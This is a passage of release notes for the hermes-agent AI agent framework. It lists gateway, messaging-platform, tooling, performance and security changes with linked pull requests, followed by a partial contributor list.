<li>Wake primitive (gateway side); going-idle / buffered-flip primitive; <code>passthrough_forward</code> over WS; multi-platform-per-agent identity + per-frame egress; forward stable instance id at self-provision; declare relevance policy to the connector (<a href="https://github.com/NousResearch/hermes-agent/pull/51595" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51595/hovercard">#51595</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51572" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51572/hovercard">#51572</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50702/hovercard">#50702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52830" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52830/hovercard">#52830</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50772/hovercard">#50772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51248" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51248/hovercard">#51248</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Authorize relay-delivered events by delivery, not <code>source.platform</code>; adopt <code>scope_id</code> wire key; purge platform-specific scope terminology (<a href="https://github.com/NousResearch/hermes-agent/pull/52306" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52306/hovercard">#52306</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55289/hovercard">#55289</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56016/hovercard">#56016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h3>Gateway core &amp; rendering</h3>
<ul>
<li>Typed send-error classification (<code>SendResult.error_kind</code>); per-platform <code>typing_indicator</code> toggle; per-category context breakdown in <code>/usage</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/50342" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50342/hovercard">#50342</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55394/hovercard">#55394</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55204/hovercard">#55204</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>API server: configurable concurrent-run cap to prevent DoS; scope run approvals by run id (<a href="https://github.com/NousResearch/hermes-agent/pull/50007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50007/hovercard">#50007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56129" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56129/hovercard">#56129</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Cron continuations</strong> — continuable cron jobs (thread-preferred continuation with DM-mirror fallback); flat in-channel continuable cron delivery for Slack; warn when gateway not running on cron create/list (<a href="https://github.com/NousResearch/hermes-agent/pull/52250" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52250/hovercard">#52250</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56254" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56254/hovercard">#56254</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51696" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51696/hovercard">#51696</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Telegram: configurable command menu + raised default cap so skills stay visible; gate rich draft previews separately; drain general send pool on pool timeout before retry (<a href="https://github.com/NousResearch/hermes-agent/pull/51716" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51716/hovercard">#51716</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52088" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52088/hovercard">#52088</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54121" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54121/hovercard">#54121</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Slack: opt-in Block Kit rendering for agent messages; <code>--no-assistant</code> flag for manifest generation (<a href="https://github.com/NousResearch/hermes-agent/pull/56102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56102/hovercard">#56102</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51487" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51487/hovercard">#51487</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: render reasoning as <code>-#</code> subtext via <code>display.reasoning_style</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/51168" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51168/hovercard">#51168</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Native WhatsApp media delivery via the Baileys bridge; Teams native <code>send_video</code>/<code>send_voice</code>/<code>send_document</code>; photon sidecar upgraded to spectrum-ts v8 with tapback correlation; Raft gateway setup wizard (<a href="https://github.com/NousResearch/hermes-agent/pull/53598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53598/hovercard">#53598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49308" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49308/hovercard">#49308</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53451" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53451/hovercard">#53451</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56230/hovercard">#56230</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Signal: AAC voice-note remux + shared markdown formatting (<a href="https://github.com/NousResearch/hermes-agent/pull/49530" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49530/hovercard">#49530</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Migrate slack/dingtalk/whatsapp/matrix/feishu/telegram/wecom/email/sms adapters to bundled (<a href="https://github.com/NousResearch/hermes-agent/pull/49408" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49408/hovercard">#49408</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>Blank Slate setup mode — minimal agent, opt in to everything (<a href="https://github.com/NousResearch/hermes-agent/pull/36733" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36733/hovercard">#36733</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MCP: config persistence attack surface hardened; block base_url exfil; keepalive for short-TTL sessions (see Security) — plus catalog &amp; UX carried from v0.17.0</li>
<li>Skills: <code>/learn</code> distillation (see Self-Improvement); <code>cloudflare-temporary-deploy</code> optional skill; creative-ideation v2.1.0 method library (<a href="https://github.com/NousResearch/hermes-agent/pull/50849" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50849/hovercard">#50849</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42402/hovercard">#42402</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>)</li>
<li>Kanban: task lifecycle plugin hooks (claimed/completed/blocked); typed block reasons + unblock-loop breaker; handoff freshness stamping (<a href="https://github.com/NousResearch/hermes-agent/pull/50349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50349/hovercard">#50349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52848" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52848/hovercard">#52848</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53973" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53973/hovercard">#53973</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Plugins: <code>ctx.profile_name</code> for session-agnostic profile access (<a href="https://github.com/NousResearch/hermes-agent/pull/50346" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50346/hovercard">#50346</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>LSP: PowerShellEditorServices language server; mem0 v3 API + OSS mode + update/delete tools (<a href="https://github.com/NousResearch/hermes-agent/pull/55930" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55930/hovercard">#55930</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15624/hovercard">#15624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kartik-mem0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kartik-mem0">@kartik-mem0</a>)</li>
</ul>
<h2>⚡ Performance</h2>
<ul>
<li>Cold start: lazy-load gateway platform adapters; parse config + plugin manifests with libyaml <code>CSafeLoader</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/54448" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54448/hovercard">#54448</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54486/hovercard">#54486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>State: merge FTS5 segments + <code>handoff_state</code> index to curb write-lock contention; single-pass <code>list_profiles</code> alias map + skill-count cache + event-loop offload (<a href="https://github.com/NousResearch/hermes-agent/pull/54752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54752/hovercard">#54752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54770" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54770/hovercard">#54770</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Harden MCP-config persistence attack surface; block cron <code>base_url</code> overrides that exfiltrate provider credentials; non-reusable sentinel for prefix secrets in file reads (<a href="https://github.com/NousResearch/hermes-agent/pull/50476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50476/hovercard">#50476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56196" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56196/hovercard">#56196</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54166/hovercard">#54166</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Redact Slack App-Level (<code>xapp-</code>) tokens; browser cloud-metadata floor on all backends (CDP non-local); re-check private-network guard after <code>browser_back</code> navigation; scope <code>/resume</code> and <code>/sessions</code> to caller origin (IDOR); <code>aiohttp</code> 3.14.1 CVE floor across lazy messaging paths + pin-drift guard (<a href="https://github.com/NousResearch/hermes-agent/pull/56227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56227/hovercard">#56227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52349/hovercard">#52349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56526" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56526/hovercard">#56526</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56378" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56378/hovercard">#56378</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56237/hovercard">#56237</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Cron reliability wave: fail closed when an unpinned job's provider drifts; run missed-grace jobs once instead of deferring forever; keep the ticker alive on <code>BaseException</code> + heartbeat-aware status; layer enabled MCP servers onto per-job toolsets; guard cron model-tool path + auto-resume loop breaker (<a href="https://github.com/NousResearch/hermes-agent/pull/51051" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51051/hovercard">#51051</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50062" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50062/hovercard">#50062</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50016/hovercard">#50016</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50117" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50117/hovercard">#50117</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56240/hovercard">#56240</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Windows: suppress console flashes + harden gateway restarts; prefer cmd npm shim on PATH fallback; respawn gateway windowless after GUI update; prefer managed node for whatsapp/desktop (<a href="https://github.com/NousResearch/hermes-agent/pull/52340" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52340/hovercard">#52340</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50398/hovercard">#50398</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52239" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52239/hovercard">#52239</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔁 Reverts (in-window, for the record)</h2>
<ul>
<li>cron job storage returned to per-profile (reverts <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517607524" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/32117" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32117/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/32117">#32117</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4719892950" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/50993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50993/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/50993">#50993</a>); don't clone <code>auth.json</code> (duplicating OAuth grant causes sibling revocation); windows terminal-popup PRs rolled back; <code>prompt_caching.enabled</code> toggle backed out for re-evaluation (<a href="https://github.com/NousResearch/hermes-agent/pull/51116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51116/hovercard">#51116</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51732" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51732/hovercard">#51732</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53853" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53853/hovercard">#53853</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56126" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56126/hovercard">#56126</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>381 people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs). Thank you, all of you.</p>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; MoA first-class, verification/goals, <code>/learn</code>, background review, security round, providers, the P0/P1 clean-sweep</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (projects, memory graph, <code>/journey</code>, multi-terminal, composer refactor wave, pets, verification UX)</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — the P0/P1 backlog burn: cron reliability wave, state perf, security (cron credential-exfil), gateway/signal, TUI config — a huge share of the priority closures</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay Phase 5/6, scale-to-zero / drain coordination, dashboard auth/keys, gateway hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI/docker (unified jobs, faster builds, timings report)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — Windows hardening (console flashes, npm shim, gateway restarts)</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xDevNinja/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xDevNinja">@0xDevNinja</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xsir0000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xsir0000">@0xsir0000</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1RB/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1RB">@1RB</a>, @595650661, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aaronlab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aaronlab">@aaronlab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abchiaravalle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abchiaravalle">@abchiaravalle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adammatski1972/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adammatski1972">@adammatski1972</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/AetherAgents/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AetherAgents">@AetherAgents</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Afnath-max/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Afnath-max">@Afnath-max</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/agt-user/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/agt-user">@agt-user</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ahmadashfq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ahmadashfq">@ahmadashfq</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aieng-abdullah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aieng-abdullah">@aieng-abdullah</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ailang323/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ailang323">@ailang323</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ailthrim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ailthrim">@ailthrim</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aj-nt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aj-nt">@aj-nt</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alloevil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alloevil">@alloevil</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amathxbt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amathxbt">@amathxbt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ambition0802/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ambition0802">@ambition0802</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anderskev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anderskev">@anderskev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andressommerhoff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andressommerhoff">@andressommerhoff</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/angelos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/angelos">@angelos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antimatter543/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antimatter543">@Antimatter543</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arminanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arminanton">@arminanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arthurzhang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arthurzhang">@arthurzhang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/baolingao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/baolingao">@baolingao</a>, <a class="user-mention notranslate" data-hovercard-type="user" 